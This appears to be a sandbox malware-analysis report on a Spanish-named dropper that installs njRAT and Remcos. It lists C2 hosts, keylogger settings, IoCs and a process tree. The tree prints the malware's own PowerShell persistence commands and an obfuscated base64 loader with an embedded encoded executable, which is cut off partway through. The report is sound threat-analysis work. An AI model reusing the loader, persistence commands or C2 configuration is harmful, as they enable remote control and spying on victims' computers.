njrat | 1c9708a7c1cca2ffb1fb6711828553521a81c313bd3dcefba441e546d2457e5d

Analysis

max time kernel
150s
max time network
160s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
09/07/2023, 10:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

CARPETADEFOLIOYACTAENTREG.exe
Size

1.3MB
MD5

f078c4f43ad9bd1eaf54946c84fdb78e
SHA1

9d3f4a0595af9c10731ea2e9f198c462b2d73dec
SHA256

1c9708a7c1cca2ffb1fb6711828553521a81c313bd3dcefba441e546d2457e5d
SHA512

079b649c6fd09a8df4b7cd032b6edd8b555948d5cac47a18afe3aa44b0ef1aa937ed3bb4f1b2108577a237181cd66055c71f7a21c84b8453c3ab3b83d55f72a1
SSDEEP

24576:9VgmnudJ41JhQdiZoGDbbtadASRTcibq/7dTYpzWRuhIDTAekW:9VSr42+vtMZNDbydTQWRuaDTJX

Score

10^/10

njrat remcos matarifejulio6 nyan cat persistence rat trojan

Malware Config

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

nj0509.duckdns.org:0509

Mutex

6ce9672712ba4490be

Attributes

reg_key
6ce9672712ba4490be
splitter
@!#&^%$

Extracted

Family

remcos

Botnet

matarifeJULIO6

matarife.duckdns.org:2798

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
20
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
true
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-KM2G8Z
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mrnjhdf.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mrnjhdf.exe	Powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anymr.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anymr.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anymr.exe	Powershell.exe

Executes dropped EXE 7 IoCs

pid	Process
2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr
1992	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
2044	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
1936	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
1828	remcos.exe
916	remcos.exe

Loads dropped DLL 12 IoCs

pid	Process
2240	CARPETADEFOLIOYACTAENTREG.exe
2240	CARPETADEFOLIOYACTAENTREG.exe
2240	CARPETADEFOLIOYACTAENTREG.exe
2240	CARPETADEFOLIOYACTAENTREG.exe
2240	CARPETADEFOLIOYACTAENTREG.exe
2240	CARPETADEFOLIOYACTAENTREG.exe
2240	CARPETADEFOLIOYACTAENTREG.exe
2240	CARPETADEFOLIOYACTAENTREG.exe
2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
1936	CARPETA DE FOLIO Y ACTA ENTREGADA.scr

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2813141852-3076131560-4232376420-1000\Software\Microsoft\Windows\CurrentVersion\Run\	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
Set value (str)	\REGISTRY\USER\S-1-5-21-2813141852-3076131560-4232376420-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-KM2G8Z = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
Key created	\REGISTRY\USER\S-1-5-21-2813141852-3076131560-4232376420-1000\Software\Microsoft\Windows\CurrentVersion\Run\	remcos.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2813141852-3076131560-4232376420-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-KM2G8Z = "\"C:\\ProgramData\\Remcos\\remcos.exe\""	remcos.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1316 set thread context of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 2388 set thread context of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 1828 set thread context of 916	1828	remcos.exe	46

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
672	powershell.exe
2628	powershell.exe
2508	Powershell.exe
2504	Powershell.exe
2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
2404	Powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
292	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 29 IoCs

description	pid	Process
Token: SeDebugPrivilege	672	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	2504	Powershell.exe
Token: SeDebugPrivilege	2508	Powershell.exe
Token: SeDebugPrivilege	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr
Token: SeDebugPrivilege	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr
Token: SeDebugPrivilege	2404	Powershell.exe
Token: SeDebugPrivilege	1828	remcos.exe
Token: SeDebugPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe
Token: 33	2072	InstallUtil.exe
Token: SeIncBasePriorityPrivilege	2072	InstallUtil.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
292	AcroRd32.exe
292	AcroRd32.exe
292	AcroRd32.exe
292	AcroRd32.exe
916	remcos.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 2388	2240	CARPETADEFOLIOYACTAENTREG.exe	28
PID 2240 wrote to memory of 2388	2240	CARPETADEFOLIOYACTAENTREG.exe	28
PID 2240 wrote to memory of 2388	2240	CARPETADEFOLIOYACTAENTREG.exe	28
PID 2240 wrote to memory of 2388	2240	CARPETADEFOLIOYACTAENTREG.exe	28
PID 2240 wrote to memory of 3000	2240	CARPETADEFOLIOYACTAENTREG.exe	29
PID 2240 wrote to memory of 3000	2240	CARPETADEFOLIOYACTAENTREG.exe	29
PID 2240 wrote to memory of 3000	2240	CARPETADEFOLIOYACTAENTREG.exe	29
PID 2240 wrote to memory of 3000	2240	CARPETADEFOLIOYACTAENTREG.exe	29
PID 2240 wrote to memory of 1316	2240	CARPETADEFOLIOYACTAENTREG.exe	30
PID 2240 wrote to memory of 1316	2240	CARPETADEFOLIOYACTAENTREG.exe	30
PID 2240 wrote to memory of 1316	2240	CARPETADEFOLIOYACTAENTREG.exe	30
PID 2240 wrote to memory of 1316	2240	CARPETADEFOLIOYACTAENTREG.exe	30
PID 2240 wrote to memory of 292	2240	CARPETADEFOLIOYACTAENTREG.exe	31
PID 2240 wrote to memory of 292	2240	CARPETADEFOLIOYACTAENTREG.exe	31
PID 2240 wrote to memory of 292	2240	CARPETADEFOLIOYACTAENTREG.exe	31
PID 2240 wrote to memory of 292	2240	CARPETADEFOLIOYACTAENTREG.exe	31
PID 3000 wrote to memory of 672	3000	WScript.exe	32
PID 3000 wrote to memory of 672	3000	WScript.exe	32
PID 3000 wrote to memory of 672	3000	WScript.exe	32
PID 3000 wrote to memory of 672	3000	WScript.exe	32
PID 672 wrote to memory of 2628	672	powershell.exe	34
PID 672 wrote to memory of 2628	672	powershell.exe	34
PID 672 wrote to memory of 2628	672	powershell.exe	34
PID 672 wrote to memory of 2628	672	powershell.exe	34
PID 1316 wrote to memory of 2508	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	36
PID 1316 wrote to memory of 2508	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	36
PID 1316 wrote to memory of 2508	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	36
PID 1316 wrote to memory of 2508	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	36
PID 2388 wrote to memory of 2504	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	35
PID 2388 wrote to memory of 2504	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	35
PID 2388 wrote to memory of 2504	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	35
PID 2388 wrote to memory of 2504	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	35
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 1316 wrote to memory of 2072	1316	CARPETA DE FOLIO Y ACTA ENTREGADA9-07.scr	39
PID 2388 wrote to memory of 1992	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	40
PID 2388 wrote to memory of 1992	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	40
PID 2388 wrote to memory of 1992	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	40
PID 2388 wrote to memory of 1992	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	40
PID 2388 wrote to memory of 2044	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	41
PID 2388 wrote to memory of 2044	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	41
PID 2388 wrote to memory of 2044	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	41
PID 2388 wrote to memory of 2044	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	41
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42
PID 2388 wrote to memory of 1936	2388	CARPETA DE FOLIO Y ACTA ENTREGADA.scr	42

C:\Users\Admin\AppData\Local\Temp\CARPETADEFOLIOYACTAENTREG.exe
"C:\Users\Admin\AppData\Local\Temp\CARPETADEFOLIOYACTAENTREG.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr
  "C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr" /S
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
    "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anymr.exe'
    3⤵
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2504
- - C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr
    "C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr"
    3⤵
    - Executes dropped EXE
    PID:1992
- - C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr
    "C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr"
    3⤵
    - Executes dropped EXE
    PID:2044
- - C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr
    "C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.scr"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    PID:1936
  - - C:\ProgramData\Remcos\remcos.exe
      "C:\ProgramData\Remcos\remcos.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      PID:1828
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
        
        "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\ProgramData\Remcos\remcos.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anymr.exe'
        5⤵
        Drops startup file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2404
    - - C:\ProgramData\Remcos\remcos.exe
        
        "C:\ProgramData\Remcos\remcos.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetWindowsHookEx
        
        PID:916
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CARPETA DE FOLIO Y ACTA ENTREGADA.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J❤BM❤Eg❤ZwBL❤C❤❤PQ❤g❤Cc❤JQBJ❤Gc❤aQBJ❤Gs❤JQ❤n❤Ds❤WwBC❤Hk❤d❤Bl❤Fs❤XQBd❤C❤❤J❤Bm❤HU❤VQBO❤C❤❤PQ❤g❤Fs❤UwB5❤HM❤d❤Bl❤G0❤LgBD❤G8❤bgB2❤GU❤cgB0❤F0❤Og❤6❤EY❤cgBv❤G0❤QgBh❤HM❤ZQ❤2❤DQ❤UwB0❤HI❤aQBu❤Gc❤K❤❤g❤CQ❤T❤BI❤Gc❤Sw❤u❤HI❤ZQBw❤Gw❤YQBj❤GU❤K❤❤n❤CcyojLC❤yc❤L❤❤n❤EE❤Jw❤p❤C❤❤KQ❤7❤Fs❤UwB5❤HM❤d❤Bl❤G0❤LgBB❤H❤❤c❤BE❤G8❤bQBh❤Gk❤bgBd❤Do❤OgBD❤HU❤cgBy❤GU❤bgB0❤EQ❤bwBt❤GE❤aQBu❤C4❤T❤Bv❤GE❤Z❤❤o❤CQ❤ZgB1❤FU❤Tg❤p❤C4❤RwBl❤HQ❤V❤B5❤H❤❤ZQ❤o❤Cc❤QwBs❤GE❤cwBz❤Ew❤aQBi❤HI❤YQBy❤Hk❤Mw❤u❤EM❤b❤Bh❤HM❤cw❤x❤Cc❤KQ❤u❤Ec❤ZQB0❤E0❤ZQB0❤Gg❤bwBk❤Cg❤JwBS❤HU❤bg❤n❤Ck❤LgBJ❤G4❤dgBv❤Gs❤ZQ❤o❤CQ❤bgB1❤Gw❤b❤❤s❤C❤❤WwBv❤GI❤agBl❤GM❤d❤Bb❤F0❤XQ❤g❤Cg❤JwB0❤Hg❤d❤❤u❤Go❤bg❤5❤D❤❤NQ❤w❤C8❤Nw❤5❤DQ❤M❤❤0❤DM❤NQ❤0❤Dk❤Ng❤x❤DQ❤NQ❤2❤DU❤Ng❤y❤DE❤MQ❤v❤D❤❤N❤❤3❤DU❤M❤❤0❤Dk❤N❤❤1❤D❤❤Mw❤2❤Dk❤OQ❤w❤DM❤MQ❤x❤DE❤LwBz❤HQ❤bgBl❤G0❤a❤Bj❤GE❤d❤B0❤GE❤LwBt❤G8❤Yw❤u❤H❤❤c❤Bh❤GQ❤cgBv❤GM❤cwBp❤GQ❤LgBu❤GQ❤Yw❤v❤C8❤OgBz❤H❤❤d❤B0❤Gg❤Jw❤p❤Ck❤';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('❤','A') ) ).replace('%IgiIk%','TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAN2VK9EAAAAAAAAAAOAAIiALAVAAAFAAAAAGAAAAAAAAZm8AAAAgAAAAgAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAADAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABFvAABPAAAAAIAAAJgDAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAABobgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAbE8AAAAgAAAAUAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgDAAAAgAAAAAQAAABSAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAKAAAAACAAAAVgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABFbwAAAAAAAEgAAAACAAUAFCQAAGwZAAABAAAAAAAAAIA9AADoMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKBcAAAoqJgACKBgAAAoAKqZzGQAACoABAAAEcxoAAAqAAgAABHMbAAAKgAMAAARzHAAACoAEAAAEKhMwAQAQAAAAAQAAEQB+AQAABG8dAAAKCisABioTMAEAEAAAAAIAABEAfgIAAARvHgAACgorAAYqEzABABAAAAADAAARAH4DAAAEbx8AAAoKKwAGKhMwAQAQAAAABAAAEQB+BAAABG8gAAAKCisABioTMAIAPAAAAAUAABEAfgUAAAQUKCEAAAoLBywhcgEAAHDQBQAAAigiAAAKbyMAAApzJAAACgwIgAUAAAQAAH4FAAAECisABioTMAEACwAAAAYAABEAfgYAAAQKKwAGKiIAAoAGAAAEKhMwAwAmAAAABwAAEQAoCAAABnIxAABwfgYAAARvJQAACigmAAAKCwd0BQAAGworAAYqVnMNAAAGKCcAAAp0BgAAAoAHAAAEKh4CKCgAAAoqEzABAAsAAAAIAAARAH4HAAAECisABioAEzABAAsAAAAIAAARACgOAAAGCisABioeAigpAAAKKgAbMAcABgEAAAkAABEAAHJNAABwKCoAAAoNCSwDACtFAHMrAAAKEwRzLAAAChMFEQUXby0AAAoAEQVygQAAcG8uAAAKABEFcvUAAHBvLwAACgARBBEFbzAAAAoAEQRvMQAACiYAfjIAAApymgEAcBdvMwAACgoGcvYBAHByTQAAcG80AAAKAAZvNQAACgBzNgAACgIoNwAACig4AAAKCwcoNwAACgtyCAIAcAwIck4CAHAoOQAACgwoOgAACigLAAAGbzsAAApyZgIAcG88AAAKcpACAHBvPQAAChQYjRcAAAElFghymAIAcCg5AAAKoiUXByg+AAAKom8/AAAKJt4QJShAAAAKEwYAKEEAAAreAAAqAAABEAAAAAABAPP0ABAlAAABEzACABIAAAAKAAARAAIDKCYAAAooQgAACgorAAYqAAATMAEADAAAAAsAABEAAihDAAAKCisABioTMAEAEAAAAAwAABEA0AkAAAIoIgAACgorAAYqEzABAAwAAAANAAARAAIoRAAACgorAAYqEzACAB0AAAAOAAARAAKMBgAAGxT+AQsHLAgoAQAAKworBQACCisABiomAAP+FQYAABsqJgACKCkAAAoAKgAAABMwAgA1AAAADwAAEQACe0YAAApvRwAACgsHjAkAABsU/gEMCCwUKAIAACsLAntGAAAKB29IAAAKAAAABworAAYqUgACKCkAAAoAAnNJAAAKfUYAAAoqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAAB0CAAAI34AAOAIAAAcCQAAI1N0cmluZ3MAAAAA/BEAALACAAAjVVMArBQAABAAAAAjR1VJRAAAALwUAACwBAAAI0Jsb2IAAAAAAAAAAgAAAVcVogkJDwAAAPoBMwAWAAABAAAANQAAAAoAAAAIAAAAGgAAAAUAAABJAAAAQAAAAA8AAAAFAAAACgAAAAsAAAAJAAAAAQAAAAMAAAABAAAAAgAAAAMAAAACAAAAAADuBAEAAAAAAAYAtAObBwYAIQSbBwYAiwLcBg8ACQgAAAYA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AAD/AEACAgAEAAMAAgAFAAUAAgAGAAcAAgAHAAkAAgAIAAsAAgAJAA0AAQAKAA0AAgALAA8AAgAOABEAAgAPABMAAgAZABUALgA1ADwAQwCgAFQBagF5AYABBIAAAAEAAAAAAAAAAAAAAAAAVAAAAAQAAAAAAAAAAAAAAI4BsQAAAAAABAAAAAAAAAAAAAAAjgEABQAAAAAKAAAAAAAAAAAAAACXAboAAAAAAAAAAAABAAAA5wcAAAkABAAKAAQAAAAQABQAfAAAABAALQB8AAAAAAAvAHwAiwBdAYsAgwEAAAAAAENvbnRleHRWYWx1ZWAxAFRocmVhZFNhZmVPYmplY3RQcm92aWRlcmAxAENsYXNzMQBnZXRfQ2xhc3NMaWJyYXJ5MQBNaWNyb3NvZnQuV2luMzIAQ2xhc3NMaWJyYXJ5MwA8TW9kdWxlPgBMQWJXSksAU3lzdGVtLklPAFQARGlzcG9zZV9fSW5zdGFuY2VfXwBDcmVhdGVfX0luc3RhbmNlX18AUHJvamVjdERhdGEAbXNjb3JsaWIATWljcm9zb2Z0LlZpc3VhbEJhc2ljAExvYWQAU3luY2hyb25pemVkAEdldE1ldGhvZABDcmVhdGVJbnN0YW5jZQBnZXRfR2V0SW5zdGFuY2UAZGVmYXVsdEluc3RhbmNlAGluc3RhbmNlAEdldEhhc2hDb2RlAEludm9rZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBGaWxlAHNldF9XaW5kb3dTdHlsZQBQcm9jZXNzV2luZG93U3R5bG